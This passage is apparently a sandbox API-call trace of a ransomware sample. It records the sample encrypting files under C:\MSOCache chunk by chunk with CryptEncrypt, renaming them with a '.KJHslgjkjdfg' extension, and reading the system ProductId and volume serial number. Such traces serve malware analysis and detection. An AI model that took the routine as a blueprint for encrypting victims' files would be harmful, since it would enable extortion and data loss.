lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0162.835] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0162.835] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0162.842] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0162.845] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.845] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0162.846] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.846] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0162.846] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30380e0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0162.846] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0162.890] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0162.893] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30380e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.893] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0162.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.894] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0162.894] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.894] SetEndOfFile (hFile=0x124) returned 1 [0162.898] GetProcessHeap () returned 0x2ef0000 [0162.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0162.899] GetProcessHeap () returned 0x2ef0000 [0162.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0162.899] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.kjhslgjkjdfg")) returned 1 [0162.899] CloseHandle (hObject=0x124) returned 1 [0162.900] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0162.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.900] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2797568) returned 1 [0162.900] GetProcessHeap () returned 0x2ef0000 [0162.900] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0162.900] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0162.900] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.900] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0162.900] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.900] GetProcessHeap () returned 0x2ef0000 [0162.900] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0162.900] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0162.900] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.900] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0162.901] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0162.901] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0162.901] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0162.901] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0162.901] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0162.902] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0162.902] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.902] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0162.902] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0162.910] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0162.915] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.915] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0162.916] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.916] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0162.916] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0162.916] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0162.938] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0162.941] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.941] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0162.943] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.943] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0162.943] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0162.943] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0162.948] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0162.951] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.951] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0162.952] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.952] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0162.952] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.952] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.952] SetEndOfFile (hFile=0x124) returned 1 [0162.955] GetProcessHeap () returned 0x2ef0000 [0162.955] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0162.955] GetProcessHeap () returned 0x2ef0000 [0162.955] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0162.955] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.kjhslgjkjdfg")) returned 1 [0162.956] CloseHandle (hObject=0x124) returned 1 [0162.956] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0162.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.956] GetProcessHeap () returned 0x2ef0000 [0162.956] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0162.956] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0162.956] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0162.957] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x1, lpOverlapped=0x0) returned 1 [0162.959] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0162.959] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.959] GetProcessHeap () returned 0x2ef0000 [0162.960] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0162.960] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0162.960] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.960] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0162.960] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0162.960] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0162.961] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0162.961] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0162.961] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0162.961] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0162.961] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.961] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.961] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x251f, lpOverlapped=0x0) returned 1 [0162.962] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x2520, dwBufLen=0x2520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x2520) returned 1 [0162.962] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.962] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x2520, lpOverlapped=0x0) returned 1 [0162.963] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.963] SetEndOfFile (hFile=0x124) returned 1 [0162.965] GetProcessHeap () returned 0x2ef0000 [0162.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0162.965] GetProcessHeap () returned 0x2ef0000 [0162.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0162.966] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.kjhslgjkjdfg")) returned 1 [0162.968] CloseHandle (hObject=0x124) returned 1 [0162.968] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0162.968] GetProcessHeap () returned 0x2ef0000 [0162.968] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0162.968] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.968] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0162.968] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.968] GetProcessHeap () returned 0x2ef0000 [0162.968] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0162.969] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.969] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0162.969] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.969] GetProcessHeap () returned 0x2ef0000 [0162.969] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0162.969] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.969] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0162.969] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.969] GetProcessHeap () returned 0x2ef0000 [0162.969] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0162.969] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.969] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0162.969] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.969] GetProcessHeap () returned 0x2ef0000 [0162.969] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0162.969] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.969] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0162.969] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.969] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0162.969] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0162.970] RegCloseKey (hKey=0x124) returned 0x0 [0162.970] GetProcessHeap () returned 0x2ef0000 [0162.970] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0162.970] GetProcessHeap () returned 0x2ef0000 [0162.970] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0162.970] GetProcessHeap () returned 0x2ef0000 [0162.970] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0162.970] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.970] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0162.970] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.970] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0162.970] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, 